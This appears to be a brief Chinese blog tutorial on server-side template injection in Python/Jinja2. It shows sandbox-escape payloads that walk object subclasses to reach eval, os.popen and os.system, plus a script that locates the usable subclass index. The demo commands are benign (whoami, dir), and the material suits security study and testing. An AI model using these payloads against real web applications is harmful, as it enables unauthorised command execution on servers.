美文网首页
SSTI实践

SSTI实践

作者: jessica1123 | 来源:发表于2019-12-30 19:52 被阅读0次

    文章参考
    绕过python沙盒
    在python3中,文章中是这样绕过python沙盒的

    ().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
    

    但是这样的方式想要执行系统命令,需要导入os模块,而在Flask/Jinja2等比较新的版本中,会检测禁用导入os模块,这样就无法达到命令执行的效果,这个时候可以使用这样一种payload:

    #coding:utf-8
    search = "popen"
    
    num = -1
    #().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
    for i in ().__class__.__bases__[0].__subclasses__():
        num +=1
        try:
            if search in i.__init__.__globals__.keys():
                print(num,i)
        except Exception as e:
            pass
    
    128 <class 'os._wrap_close'>
    

    所以我们可以构造这样一个payload来执行命令:

    ().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read()
    ().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('dir')
    

    相关文章

      网友评论

          本文标题:SSTI实践

          本文链接:https://www.haomeiwen.com/subject/keamoctx.html